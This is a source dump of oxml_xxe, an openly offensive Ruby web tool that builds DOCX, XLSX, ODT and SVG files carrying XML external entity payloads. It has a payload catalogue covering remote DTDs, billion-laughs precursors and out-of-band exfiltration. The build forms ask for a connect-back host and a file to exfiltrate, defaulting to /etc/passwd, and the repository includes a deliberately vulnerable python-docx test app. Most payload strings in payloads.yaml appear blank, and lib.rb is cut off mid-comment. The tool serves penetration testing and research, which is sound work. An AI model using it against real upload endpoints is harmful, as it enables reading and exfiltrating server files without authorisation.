├── db └── .gitkeep ├── output └── .gitkeep ├── views ├── error.slim ├── display.slim ├── display_file.slim ├── poc.slim ├── list.slim ├── xss.slim ├── overwrite.slim ├── replace.slim ├── build.slim ├── layout.slim └── help.slim ├── .gitignore ├── samples ├── form.pdf ├── xmp.gif ├── blank.docx ├── sample.odg ├── sample.odp ├── sample.ods ├── sample.ots ├── xslt.docx ├── comments.docx ├── complex.docx ├── sample.docx ├── sample.pptx ├── sample.xlsx ├── test_odt.odt ├── tunnel-depth.jpg ├── sample.xml ├── README.md ├── sample.svg └── sample.fods ├── public ├── img │ ├── logo.jpg │ ├── logo.png │ ├── logo_1.jpg │ ├── logo_1.png │ ├── glyphicons-halflings.png │ └── glyphicons-halflings-white.png └── bootstrap │ ├── img │ ├── logo.jpg │ ├── logo.png │ ├── logo_1.jpg │ ├── logo_1.png │ ├── glyphicons-halflings.png │ └── glyphicons-halflings-white.png │ ├── js │ └── bootstrap-collapse.min.js │ └── css │ ├── bootstrap-reboot.min.css │ ├── bootstrap-reboot.rtl.min.css │ ├── bootstrap-reboot.rtl.css │ ├── bootstrap-reboot.css │ ├── font-awesome.min.css │ └── bootstrap-reboot.min.css.map ├── docker-compose.yml ├── Gemfile ├── lib ├── model.rb ├── lib.rb └── util.rb ├── test ├── upload_file_to_endpoint.rb └── python-docx-vulnerable │ ├── Dockerfile │ └── app.py ├── Dockerfile ├── Gemfile.lock ├── README.md ├── payloads.yaml └── server.rb /db/.gitkeep: -------------------------------------------------------------------------------- 1 | -------------------------------------------------------------------------------- /output/.gitkeep: -------------------------------------------------------------------------------- 1 | -------------------------------------------------------------------------------- /views/error.slim: -------------------------------------------------------------------------------- 1 | p #{error} -------------------------------------------------------------------------------- /.gitignore: -------------------------------------------------------------------------------- 1 | db 2 | !db/.gitkeep 3 | output 4 | !output/.gitkeep 5 | -------------------------------------------------------------------------------- /samples/form.pdf: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/BuffaloWill/oxml_xxe/HEAD/samples/form.pdf -------------------------------------------------------------------------------- /samples/xmp.gif: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/BuffaloWill/oxml_xxe/HEAD/samples/xmp.gif -------------------------------------------------------------------------------- /samples/blank.docx: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/BuffaloWill/oxml_xxe/HEAD/samples/blank.docx -------------------------------------------------------------------------------- /samples/sample.odg: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/BuffaloWill/oxml_xxe/HEAD/samples/sample.odg -------------------------------------------------------------------------------- /samples/sample.odp: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/BuffaloWill/oxml_xxe/HEAD/samples/sample.odp -------------------------------------------------------------------------------- /samples/sample.ods: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/BuffaloWill/oxml_xxe/HEAD/samples/sample.ods -------------------------------------------------------------------------------- /samples/sample.ots: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/BuffaloWill/oxml_xxe/HEAD/samples/sample.ots -------------------------------------------------------------------------------- /samples/xslt.docx: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/BuffaloWill/oxml_xxe/HEAD/samples/xslt.docx -------------------------------------------------------------------------------- /public/img/logo.jpg: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/BuffaloWill/oxml_xxe/HEAD/public/img/logo.jpg -------------------------------------------------------------------------------- /public/img/logo.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/BuffaloWill/oxml_xxe/HEAD/public/img/logo.png -------------------------------------------------------------------------------- /public/img/logo_1.jpg: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/BuffaloWill/oxml_xxe/HEAD/public/img/logo_1.jpg -------------------------------------------------------------------------------- /public/img/logo_1.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/BuffaloWill/oxml_xxe/HEAD/public/img/logo_1.png -------------------------------------------------------------------------------- /samples/comments.docx: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/BuffaloWill/oxml_xxe/HEAD/samples/comments.docx -------------------------------------------------------------------------------- /samples/complex.docx: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/BuffaloWill/oxml_xxe/HEAD/samples/complex.docx -------------------------------------------------------------------------------- /samples/sample.docx: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/BuffaloWill/oxml_xxe/HEAD/samples/sample.docx -------------------------------------------------------------------------------- /samples/sample.pptx: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/BuffaloWill/oxml_xxe/HEAD/samples/sample.pptx -------------------------------------------------------------------------------- /samples/sample.xlsx: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/BuffaloWill/oxml_xxe/HEAD/samples/sample.xlsx -------------------------------------------------------------------------------- /samples/test_odt.odt: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/BuffaloWill/oxml_xxe/HEAD/samples/test_odt.odt -------------------------------------------------------------------------------- /samples/tunnel-depth.jpg: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/BuffaloWill/oxml_xxe/HEAD/samples/tunnel-depth.jpg -------------------------------------------------------------------------------- /public/bootstrap/img/logo.jpg: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/BuffaloWill/oxml_xxe/HEAD/public/bootstrap/img/logo.jpg -------------------------------------------------------------------------------- /public/bootstrap/img/logo.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/BuffaloWill/oxml_xxe/HEAD/public/bootstrap/img/logo.png -------------------------------------------------------------------------------- /public/bootstrap/img/logo_1.jpg: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/BuffaloWill/oxml_xxe/HEAD/public/bootstrap/img/logo_1.jpg -------------------------------------------------------------------------------- /public/bootstrap/img/logo_1.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/BuffaloWill/oxml_xxe/HEAD/public/bootstrap/img/logo_1.png -------------------------------------------------------------------------------- /samples/sample.xml: -------------------------------------------------------------------------------- 1 | 2 | Hello World 3 | 4 | -------------------------------------------------------------------------------- /public/img/glyphicons-halflings.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/BuffaloWill/oxml_xxe/HEAD/public/img/glyphicons-halflings.png -------------------------------------------------------------------------------- /public/img/glyphicons-halflings-white.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/BuffaloWill/oxml_xxe/HEAD/public/img/glyphicons-halflings-white.png -------------------------------------------------------------------------------- /public/bootstrap/img/glyphicons-halflings.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/BuffaloWill/oxml_xxe/HEAD/public/bootstrap/img/glyphicons-halflings.png -------------------------------------------------------------------------------- /public/bootstrap/img/glyphicons-halflings-white.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/BuffaloWill/oxml_xxe/HEAD/public/bootstrap/img/glyphicons-halflings-white.png -------------------------------------------------------------------------------- /docker-compose.yml: -------------------------------------------------------------------------------- 1 | version: "2.2" 2 | 3 | services: 4 | web: 5 | build: . 6 | volumes: 7 | - ./db:/oxml_xxe/db 8 | - ./output:/oxml_xxe/output 9 | ports: 10 | - "127.0.0.1:4567:4567" 11 | -------------------------------------------------------------------------------- /Gemfile: -------------------------------------------------------------------------------- 1 | source "https://rubygems.org" 2 | 3 | ruby "3.2.2" 4 | 5 | gem "slim" 6 | gem "sinatra", '>2.0.0' 7 | gem "haml" 8 | gem "rubyzip" 9 | gem "json" 10 | gem "nokogiri" 11 | gem "sequel" 12 | gem "sqlite3" 13 | gem "thin" 14 | gem "rack" 15 | gem "yaml" 16 | -------------------------------------------------------------------------------- /samples/README.md: -------------------------------------------------------------------------------- 1 | The following are the credit for the files in the samples: 2 | 3 | Created by BuffaloWill: 4 | blank.docx 5 | comments.docx 6 | sample.docx 7 | sample.pptx 8 | sample.xlsx 9 | test_odt.odt 10 | xslt.docx 11 | 12 | tunnel-depth.jpg - https://github.com/panrafal/depthy -------------------------------------------------------------------------------- /samples/sample.svg: -------------------------------------------------------------------------------- 1 | 2 | &xxe; 3 | &xxe; -------------------------------------------------------------------------------- /lib/model.rb: -------------------------------------------------------------------------------- 1 | require 'sequel' 2 | 3 | DB = Sequel.sqlite("#{Dir.pwd}/db/master.db") 4 | 5 | class Oxfile < Sequel::Model(:oxfiles) 6 | set_columns :filename 7 | set_columns :id 8 | set_columns :location 9 | set_columns :desc 10 | set_columns :type 11 | set_columns :created_at 12 | end 13 | 14 | -------------------------------------------------------------------------------- /test/upload_file_to_endpoint.rb: -------------------------------------------------------------------------------- 1 | require 'rest-client' 2 | 3 | file_path = ARGV[0] 4 | if !file_path 5 | puts "Please provide a file path as a command line argument." 6 | exit 7 | end 8 | 9 | file = File.new(file_path) 10 | 11 | response = RestClient.post('http://localhost:5000/', :file => file) 12 | puts response -------------------------------------------------------------------------------- /Dockerfile: -------------------------------------------------------------------------------- 1 | FROM ruby:3.2.2-slim 2 | 3 | RUN apt-get update && \ 4 | apt-get install -y make git libsqlite3-dev libxslt-dev libxml2-dev zlib1g-dev gcc g++ && \ 5 | apt-get clean 6 | 7 | WORKDIR /oxml_xxe 8 | 9 | # Copy and install deps 10 | COPY . . 11 | RUN bundle install 12 | 13 | EXPOSE 4567 14 | CMD ["bundle", "exec", "ruby", "server.rb", "-o", "0.0.0.0", "-p", "4567"] 15 | -------------------------------------------------------------------------------- /views/display.slim: -------------------------------------------------------------------------------- 1 | .span5 2 | br 3 | h3 Upload File to Display 4 | table style='width: 70%;' 5 | tbody 6 | form method='post' action='/display_file' enctype='multipart/form-data' 7 | tr 8 | td style='width: 30%' 9 | | File To View 10 | td style='width: 70%' 11 | input type='file' name='file' 12 | tr 13 | td style='width: 30%' 14 | input type='submit' value='Display' 15 | -------------------------------------------------------------------------------- /test/python-docx-vulnerable/Dockerfile: -------------------------------------------------------------------------------- 1 | FROM debian:stable-20230502-slim 2 | 3 | # Install Python3 and pip3 4 | RUN apt-get update && apt-get install -y python3 python3-pip 5 | 6 | # Install python-docx library 7 | RUN pip3 install python-docx==0.8.4 8 | RUN pip3 install flask 9 | 10 | # Set working directory 11 | WORKDIR /app 12 | 13 | # Copy your Python code to the container 14 | COPY app.py . 15 | 16 | # Run your Python code when the container starts 17 | CMD ["python3", "app.py"] 18 | -------------------------------------------------------------------------------- /views/display_file.slim: -------------------------------------------------------------------------------- 1 | .span5 2 | br 3 | h3 File Contents 4 | table(style='width: 90%;', class='table-responsive') 5 | tbody 6 | tr 7 | td(style='width: 45%') 8 | - @files.each do |file| 9 | tr 10 | td(style='width: 5%') 11 | = file["name"] 12 | span.glyphicon.glyphicon-plus(data-toggle='collapse', data-target="#info_#{file["id"]}") ++ 13 | .info(id="info_#{file["id"]}", class="collapse out") 14 | pre.pre-scrollable 15 | = file["contents"] 16 | -------------------------------------------------------------------------------- /test/python-docx-vulnerable/app.py: -------------------------------------------------------------------------------- 1 | from flask import Flask, render_template, request 2 | import docx 3 | 4 | app = Flask(__name__) 5 | 6 | @app.route('/', methods=['GET', 'POST']) 7 | def upload_file(): 8 | if request.method == 'POST': 9 | file = request.files['file'] 10 | if file: 11 | document = docx.Document(file) 12 | main_content = '\n\n'.join([paragraph.text for paragraph in document.paragraphs]) 13 | # Print the main content to the console 14 | return 'File uploaded and parsed successfully!' + "\n"+main_content 15 | return render_template('upload.html') 16 | 17 | if __name__ == '__main__': 18 | app.run(host='0.0.0.0') -------------------------------------------------------------------------------- /views/poc.slim: -------------------------------------------------------------------------------- 1 | .span5 2 | br 3 | h3 Create PoC File 4 | table style="width: 70%;" 5 | tbody 6 | form method="post" action="/poc" 7 | tr 8 | td style="width: 30%" 9 | | File Type 10 | td style="width: 70%" 11 | select name="file_type" 12 | - @types.each do |type| 13 | option= type 14 | tr 15 | td style="width: 30%" 16 | | Connect Back Protocol 17 | td style="width: 70%" 18 | select name="proto" 19 | - @protos.each do |proto| 20 | option= proto 21 | tr 22 | td style="width: 30%" 23 | | Connect Back Hostname/IP (IP in payload) 24 | td style="width: 70%" 25 | input type="text" style="width: 90%" name="hostname" value="127.0.0.1:53" 26 | tr 27 | td style="width: 30%" 28 | input type="submit" value="Build" 29 | 30 | -------------------------------------------------------------------------------- /views/list.slim: -------------------------------------------------------------------------------- 1 | .span5 2 | br 3 | h3 List Created Files (Sorted by Date Desc) 4 | table style='width: 70%;' 5 | tbody 6 | tr 7 | td style='width: 30%' 8 | | File Name 9 | td style='width: 70%' 10 | | Description 11 | td style='width: 70%' 12 | | Delete 13 | td style='width: 70%' 14 | | View Structure 15 | -@files.each do |file| 16 | tr 17 | td style='width: 30%' 18 | a href="/download?id=#{file.id}" #{file.filename} 19 | td style='width: 70%' 20 | = file.desc 21 | td style='width: 70%' 22 | a class='btn btn-warning' href="/delete?id=#{file.id}" 23 | span class='glyphicon glyphicon-remove' title='Delete' X 24 | td style='width: 70%' 25 | - if !(file.type == "pdf" or file.type == "jpg" or file.type == "gif") 26 | a class='btn btn-success' href="/view_file?id=#{file.id}" 27 | span class='glyphicon glyphicon-zoom-in' title='View Structure' + 28 | -------------------------------------------------------------------------------- /views/xss.slim: -------------------------------------------------------------------------------- 1 | .span5 2 | br 3 | h3 XSS/String Entity in File 4 | table style='width: 70%;' 5 | tbody 6 | form method='post' action='/xss' enctype='multipart/form-data' 7 | tr 8 | td style='width: 30%' 9 | | File To Replace 10 | td style='width: 70%' 11 | input type='file' name='file' 12 | tr 13 | td style='width: 30%' 14 | | String to Insert 15 | td style='width: 70%' 16 | input type='text' style='width: 90%' name='xss' value='' 17 | tr 18 | td style='width: 30%' 19 | | Wrap in CDATA Tag 20 | td style='width: 70%' 21 | input type='checkbox' style='width: 90%' name='cdata' 22 | tr 23 | td style='width: 30%' 24 | | Description of Result 25 | td style='width: 70%' 26 | input type='text' style='width: 90%' name='desc' value='' 27 | tr 28 | td style='width: 30%' 29 | input type='submit' value='Build' 30 | -------------------------------------------------------------------------------- /views/overwrite.slim: -------------------------------------------------------------------------------- 1 | .span8 2 | br 3 | h3 Overwrite XML File inside OXML file 4 | table style='width: 100%;' 5 | tbody 6 | form method='post' action='/overwrite' enctype='multipart/form-data' 7 | tr 8 | td style='width: 30%' 9 | | File To Insert Into 10 | td style='width: 70%' 11 | input type='file' name='file' 12 | tr 13 | td style='width: 30%' 14 | | Specify File to replace in DOCX/XSLX/PPTX/ODT/etc. (e.g. _rels/rels) 15 | td style='width: 70%' 16 | input type='text' style='width: 90%' name='xml_file' value='' 17 | tr 18 | td style='width: 30%' 19 | | New XML Contents 20 | td style='width: 70%' 21 | textarea rows='10' cols='50' name='xml_content' value='' 22 | tr 23 | td style='width: 30%' 24 | | Upload New File Instead of XML Contents 25 | td style='width: 70%' 26 | input type='file' name='replace_file' 27 | tr 28 | td style='width: 30%' 29 | tr 30 | td style='width: 30%' 31 | input type='submit' value='Build' 32 | -------------------------------------------------------------------------------- /Gemfile.lock: -------------------------------------------------------------------------------- 1 | GEM 2 | remote: https://rubygems.org/ 3 | specs: 4 | daemons (1.4.1) 5 | eventmachine (1.2.7) 6 | haml (6.1.1) 7 | temple (>= 0.8.2) 8 | thor 9 | tilt 10 | json (2.6.3) 11 | mustermann (3.0.0) 12 | ruby2_keywords (~> 0.0.1) 13 | nokogiri (1.14.3-x86_64-linux) 14 | racc (~> 1.4) 15 | racc (1.6.2) 16 | rack (2.2.7) 17 | rack-protection (3.0.6) 18 | rack 19 | ruby2_keywords (0.0.5) 20 | rubyzip (2.3.2) 21 | sequel (5.68.0) 22 | sinatra (3.0.6) 23 | mustermann (~> 3.0) 24 | rack (~> 2.2, >= 2.2.4) 25 | rack-protection (= 3.0.6) 26 | tilt (~> 2.0) 27 | slim (5.1.0) 28 | temple (~> 0.10.0) 29 | tilt (>= 2.0.6, < 2.2) 30 | sqlite3 (1.6.2-x86_64-linux) 31 | temple (0.10.0) 32 | thin (1.8.2) 33 | daemons (~> 1.0, >= 1.0.9) 34 | eventmachine (~> 1.0, >= 1.0.4) 35 | rack (>= 1, < 3) 36 | thor (1.2.1) 37 | tilt (2.1.0) 38 | yaml (0.2.1) 39 | 40 | PLATFORMS 41 | x86_64-linux 42 | 43 | DEPENDENCIES 44 | haml 45 | json 46 | nokogiri 47 | rack 48 | rubyzip 49 | sequel 50 | sinatra (> 2.0.0) 51 | slim 52 | sqlite3 53 | thin 54 | yaml 55 | 56 | RUBY VERSION 57 | ruby 3.2.2p53 58 | 59 | BUNDLED WITH 60 | 2.4.12 61 | -------------------------------------------------------------------------------- /README.md: -------------------------------------------------------------------------------- 1 | # oxml_xxe 2 | This tool is meant to help test XXE vulnerabilities in **OXML document** file formats. Currently supported: 3 | 4 | - DOCX/XLSX/PPTX 5 | - ODT/ODG/ODP/ODS 6 | - SVG 7 | - XML 8 | 9 | BH USA 2015 Presentation: [Exploiting XXE in File Upload Functionality (Slides)](http://oxmlxxe.github.io/reveal.js/slides.html#/) [(Recorded Webcast)](https://www.blackhat.com/html/webcast/11192015-exploiting-xml-entity-vulnerabilities-in-file-parsing-functionality.html) 10 | 11 | Blog Posts on the topic: 12 | 13 | - [Exploiting XXE Vulnerabilities in OXML Documents](https://www.silentrobots.com/exploiting-xxe-in-file-upload-functionality/) 14 | - [Exploiting CVE-2016-4264 With OXML_XXE](https://www.silentrobots.com/exploiting-cve-2016-4264-with-oxml_xxe/) 15 | 16 | # Installation 17 | 18 | OXML_XXE was written in Ruby using Sinatra, Bootstrap, and Slim. 19 | 20 | ## Docker 21 | 22 | 1. Run `docker build --tag oxml_xxe .` 23 | 2. Run `docker run --name oxml_xxe -p 4567:4567 --rm oxml_xxe` 24 | 2. Browse to http://localhost:4567/ to get started. 25 | 26 | ## Docker Compose 27 | 1. Run `docker-compose up --build` 28 | 2. Browse to http://localhost:4567/ to get started. 29 | 30 | ## Ubuntu 31 | 32 | Install dependencies: 33 | ```bash 34 | apt-get install -y make git libsqlite3-dev libxslt-dev libxml2-dev zlib1g-dev gcc ruby3.2 g++ 35 | ``` 36 | 37 | Bundle install: 38 | ```bash 39 | gem install bundler 40 | bundle install 41 | ``` 42 | 43 | Start the service: 44 | ```bash 45 | ruby server.rb 46 | ``` 47 | 48 | # Examples 49 | 50 | See: https://github.com/BuffaloWill/oxml_xxe/wiki/python-docx -------------------------------------------------------------------------------- /views/replace.slim: -------------------------------------------------------------------------------- 1 | .span5 2 | br 3 | h3 String Replace File 4 | table style='width: 70%;' 5 | tbody 6 | form method='post' action='/replace' enctype='multipart/form-data' 7 | tr 8 | td style='width: 30%' 9 | | File To Replace 10 | td style='width: 70%' 11 | input type='file' name='file' 12 | tr 13 | td style='width: 30%' 14 | | Payload Type 15 | td style='width: 70%' 16 | select name='payload' 17 | - @payloads.each do |k,v| 18 | - next if k =~ /Parameter/ 19 | option #{k} 20 | tr 21 | td style='width: 30%' 22 | | Connect Back Protocol 23 | td style='width: 70%' 24 | select name='proto' 25 | - @protos.each do |proto| 26 | option #{proto} 27 | tr 28 | td style='width: 30%' 29 | | Connect Back Hostname/IP 30 | td style='width: 70%' 31 | input type='text' style='width: 90%' name='hostname' value='127.0.0.1/a.dtd' 32 | tr 33 | td style='width: 30%' 34 | | File To Exfiltrate 35 | td style='width: 70%' 36 | input type='text' style='width: 90%' name='exfil_file' value='/etc/passwd' 37 | tr 38 | td style='width: 30%' 39 | | Description of Result 40 | td style='width: 70%' 41 | input type='text' style='width: 90%' name='desc' value='' 42 | tr 43 | td style='width: 30%' 44 | input type='submit' value='Build' 45 | -------------------------------------------------------------------------------- /views/build.slim: -------------------------------------------------------------------------------- 1 | br 2 | h3 Create File 3 | table style="width: 70%;" 4 | tbody 5 | form method="post" action="/build" enctype="multipart/form-data" 6 | tr 7 | td style="width: 30%" 8 | | File Type 9 | td style="width: 70%" 10 | select name="file_type" 11 | - @types.each do |type| 12 | option #{type} 13 | tr 14 | td style="width: 30%" 15 | | Payload Type 16 | td style="width: 70%" 17 | select name="payload" 18 | - @payloads.each do |k,v| 19 | option #{k} 20 | td style="width: 70%" 21 | a href="/help" Payload Types 22 | tr 23 | td style="width: 30%" 24 | | Connect Back Protocol 25 | td style="width: 70%" 26 | select name="proto" 27 | - @protos.each do |proto| 28 | option #{proto} 29 | tr 30 | td style="width: 30%" 31 | | Connect Back Hostname/IP (IP in payload) 32 | td style="width: 70%" 33 | input type="text" style="width: 90%" name="hostname" value="127.0.0.1/a.dtd" 34 | tr 35 | td style="width: 30%" 36 | | File To Exfiltrate (FILE in payload) 37 | td style="width: 70%" 38 | input type="text" style="width: 90%" name="exfil_file" value="/etc/passwd" 39 | tr 40 | td style="width: 30%" 41 | | Description of File 42 | td style="width: 70%" 43 | input type="text" style="width: 90%" name="desc" value="" 44 | tr 45 | td style="width: 30%" 46 | tr 47 | td style="width: 30%" 48 | input type="submit" value="Build" 49 | -------------------------------------------------------------------------------- /views/layout.slim: -------------------------------------------------------------------------------- 1 | doctype html 2 | html 3 | head 4 | meta charset='utf-8' 5 | title OXML XXE 6 | link href="/bootstrap/css/bootstrap.min.css" rel="stylesheet" 7 | link href="/bootstrap/css/bootstrap-responsive.min.css" rel="stylesheet" 8 | link href="/bootstrap/css/font-awesome.min.css" rel="stylesheet" 9 | body 10 | script src="/bootstrap/js/jquery.min.js" 11 | script src="/bootstrap/js/bootstrap-collapse.min.js" 12 | style 13 | | body { 14 | | padding-top: 60px; 15 | | padding-bottom: 40px; 16 | | background-color: #ffffff; 17 | | } 18 | | td { 19 | | padding: 10px; 20 | | } 21 | | .padded { 22 | | padding-top: 20px; 23 | | padding-bottom: 5px; 24 | | padding-left: 5px; 25 | | padding-right: 0px; 26 | | } 27 | | .sidebar-nav { 28 | | padding: 9px 0; 29 | | } 30 | body 31 | nav.navbar.navbar-fixed-top 32 | .navbar-inner 33 | ul.nav.padded 34 | li 35 | h2 OXML XXE 36 | .container-fluid 37 | .row-fluid 38 | .span2 39 | br 40 | ul.nav.nav-list 41 | li.nav-header Menu 42 | li 43 | a href="/build" Build a File 44 | li 45 | a href="/poc" Build PDF/GIF/JPG PoC (Experimental) 46 | li 47 | a href="/replace" String Replace in a File 48 | li 49 | a href="/xss" XSS/String Entity in File 50 | li 51 | a href="/overwrite" Overwrite file inside DOCX/etc. 52 | br 53 | br 54 | li 55 | a href="/list" List Previously Built Files 56 | li 57 | a href="/display" Display OXML Contents 58 | li 59 | a href="/help" Help 60 | .span5 61 | == yield -------------------------------------------------------------------------------- /views/help.slim: -------------------------------------------------------------------------------- 1 | .span9 2 | br 3 | h3 Help 4 | table style='width: 100%;' 5 | h4 Payload Descriptions 6 | tbody 7 | tr 8 | td style='width: 15%' 9 | | Payload Name 10 | td style='width: 50%' 11 | | Payload Description 12 | td style='width: 35%' 13 | | Details 14 | - @payloads.each do |k,v| 15 | tr 16 | td style='width: 15%' 17 | = k 18 | td style='width: 50%' 19 | = v[1] 20 | td style='width: 35%' 21 | = v[0].gsub("\n","") 22 | table style='width: 100%;' 23 | h4 Payload Variables 24 | tbody 25 | tr 26 | td style='width: 10%' 27 | | Name 28 | td style='width: 55%' 29 | | Description 30 | td style='width: 35%' 31 | | Example 32 | tr 33 | td style='width: 10%' 34 | | IP 35 | td style='width: 55%' 36 | | Hostname/IP to connect back to. 37 | td style='width: 35%' 38 | pre class="pre-scrollable" 39 | | 127.0.0.1 40 | pre class="pre-scrollable" 41 | | myhost.myurl.tld 42 | tr 43 | td style='width: 10%' 44 | | FILE 45 | td style='width: 55%' 46 | | File to exfiltrate. For "plain" payloads, the full value to insert. 47 | td style='width: 35%' 48 | pre class="pre-scrollable" 49 | | \/etc/passwd 50 | pre class="pre-scrollable" 51 | | file://etc/passwd 52 | tr 53 | td style='width: 10%' 54 | | Protocol 55 | td style='width: 55%' 56 | | The protocol is inserted at the before IP. Select "none" to add your own. 57 | td style='width: 35%' 58 | pre class="pre-scrollable" 59 | | http://[IP] 60 | pre class="pre-scrollable" 61 | | jar://[IP] 62 | -------------------------------------------------------------------------------- /public/bootstrap/js/bootstrap-collapse.min.js: -------------------------------------------------------------------------------- 1 | !function(e){"use strict";var t=function(t,i){this.$element=e(t),this.options=e.extend({},e.fn.collapse.defaults,i),this.options.parent&&(this.$parent=e(this.options.parent)),this.options.toggle&&this.toggle()};t.prototype={constructor:t,dimension:function(){var e=this.$element.hasClass("width");return e?"width":"height"},show:function(){var t,i,n,r;if(!this.transitioning&&!this.$element.hasClass("in")){if(t=this.dimension(),i=e.camelCase(["scroll",t].join("-")),n=this.$parent&&this.$parent.find("> .accordion-group > .in"),n&&n.length){if(r=n.data("collapse"),r&&r.transitioning)return;n.collapse("hide"),r||n.data("collapse",null)}this.$element[t](0),this.transition("addClass",e.Event("show"),"shown"),e.support.transition&&this.$element[t](this.$element[0][i])}},hide:function(){var t;!this.transitioning&&this.$element.hasClass("in")&&(t=this.dimension(),this.reset(this.$element[t]()),this.transition("removeClass",e.Event("hide"),"hidden"),this.$element[t](0))},reset:function(e){var t=this.dimension();return this.$element.removeClass("collapse")[t](e||"auto")[0].offsetWidth,this.$element[null!==e?"addClass":"removeClass"]("collapse"),this},transition:function(t,i,n){var r=this,o=function(){"show"==i.type&&r.reset(),r.transitioning=0,r.$element.trigger(n)};this.$element.trigger(i),i.isDefaultPrevented()||(this.transitioning=1,this.$element[t]("in"),e.support.transition&&this.$element.hasClass("collapse")?this.$element.one(e.support.transition.end,o):o())},toggle:function(){this[this.$element.hasClass("in")?"hide":"show"]()}};var i=e.fn.collapse;e.fn.collapse=function(i){return this.each(function(){var n=e(this),r=n.data("collapse"),o=e.extend({},e.fn.collapse.defaults,n.data(),"object"==typeof i&&i);r||n.data("collapse",r=new t(this,o)),"string"==typeof i&&r[i]()})},e.fn.collapse.defaults={toggle:!0},e.fn.collapse.Constructor=t,e.fn.collapse.noConflict=function(){return e.fn.collapse=i,this},e(document).on("click.collapse.data-api","[data-toggle=collapse]",function(t){var i,n=e(this),r=n.attr("data-target")||t.preventDefault()||(i=n.attr("href"))&&i.replace(/.*(?=#[^\s]+$)/,""),o=e(r).data("collapse")?"toggle":n.data();n[e(r).hasClass("in")?"addClass":"removeClass"]("collapsed"),e(r).collapse(o)})}(window.jQuery); -------------------------------------------------------------------------------- /payloads.yaml: -------------------------------------------------------------------------------- 1 | - name: remote-dtd-public-check 2 | long: Remote DTD public check 3 | payload: '' 4 | description: "A Remote DTD causes the XML parser to make an external connection when successful." 5 | - name: canary-xml-entity 6 | long: Canary XML Entity 7 | payload: ']>' 8 | description: "Checks if the application rejects a file with an entity included. No malicious use." 9 | - name: plain-external-xml-entity 10 | long: Plain External XML Entity 11 | payload: ']>' 12 | description: "A simple external XML entity. Note, the file is the value for the payload; IP and PROTOCOL are ignored by OXML XXE." 13 | - name: recursive-xml-entity 14 | long: Recursive XML Entity 15 | payload: ']>' 16 | description: "A recursive XML Entity. This is a precursor check to the billion laughs attack." 17 | - name: canary-parameter-entity 18 | long: Canary Parameter Entity 19 | payload: ' %xxe;]>' 20 | description: "A parameter entity check. This is valuable because the entity is checked immediately when the DOCTYPE is parsed. No malicious application but useful to check for." 21 | - name: plain-external-parameter-entity 22 | long: Plain External Parameter Entity 23 | payload: ' %a;]>' 24 | description: "A simple external parameter entity. Note, the file is the value for the payload; IP and PROTOCOL are ignored by OXML XXE. Useful because the entity is checked immediately when the DOCTYPE is parsed. " 25 | - name: recursive-parameter-entity 26 | long: Recursive Parameter Entity 27 | payload: ' %b;]>' 28 | description: "Technically recursive parameter entities are not allowed by the XML spec. Should never work. Precursor to the billion laughs attack." 29 | - name: out-of-bounds-attack-using-file 30 | long: Out of Bounds Attack (using file://) 31 | payload: '%dtd;]>' 32 | description: "OOB is a useful technique to exfiltrate files when attacking blind. This is accomplished by leveraging the file:// protocol. Details about building the dtd file at https://portswigger.net/web-security/xxe/blind." 33 | - name: out-of-bounds-attack-using-php-filter 34 | long: Out of Bounds Attack (using php://filter) 35 | payload: '%dtd;]>' 36 | description: "OOB is a useful technique to exfiltrate files when attacking blind. This is accomplished by leveraging the php filter \"convert.base64-encode\", which has been available since PHP 5.0.0. See References." 37 | -------------------------------------------------------------------------------- /lib/lib.rb: -------------------------------------------------------------------------------- 1 | # encoding: ASCII-8BIT 2 | require_relative 'util' 3 | require 'rubygems' 4 | require 'json' 5 | require 'fileutils' 6 | require 'optparse' 7 | require 'json' 8 | require 'sequel' 9 | require 'yaml' 10 | 11 | # This moves most of the code that "does stuff" into one page 12 | # to allow for a api and cli version. 13 | 14 | def read_payloads() 15 | data = YAML.load_file('payloads.yaml') 16 | 17 | payloads = {} 18 | data.each do |entry| 19 | name = entry['name'] 20 | long = entry['long'] 21 | payload = entry['payload'] 22 | description = entry['description'] 23 | payloads[name] = [payload, description] 24 | end 25 | return payloads 26 | end 27 | 28 | def oxml_file_defaults() 29 | d = {} 30 | d["docx"] = ["samples/sample.docx", "word/document.xml"] 31 | d["xlsx"] = ["samples/sample.xlsx", "xl/workbook.xml"] 32 | d["pptx"] = ["samples/sample.pptx", "ppt/presentation.xml"] 33 | d["odt"] = ["samples/sample.odt", "content.xml"] 34 | d["odg"] = ["samples/sample.odg", "content.xml"] 35 | d["odp"] = ["samples/sample.odp", "content.xml"] 36 | d["ods"] = ["samples/sample.ods", "content.xml"] 37 | 38 | return d 39 | end 40 | 41 | # This is the most basic option. Given an exploit type, what to exploit (e.g. /etc/passwd) and 42 | # a file type it will build an oxml xxe. 43 | def build_file(params) 44 | # proto (required): protocol on connect back 45 | # hostname (required): hostname to connect to 46 | # file_type (required): file extension -- e.g. docx 47 | # hostname (required): connect back host -- this is confusing as it's not used by every combination 48 | 49 | oxmls = oxml_file_defaults() 50 | pl = read_payloads() 51 | 52 | if params["proto"] == "none" 53 | ip = params["hostname"] 54 | else 55 | # TODO is this correct for all protocols? 56 | ip = params["proto"]+"://"+params["hostname"] 57 | end 58 | 59 | # This takes in 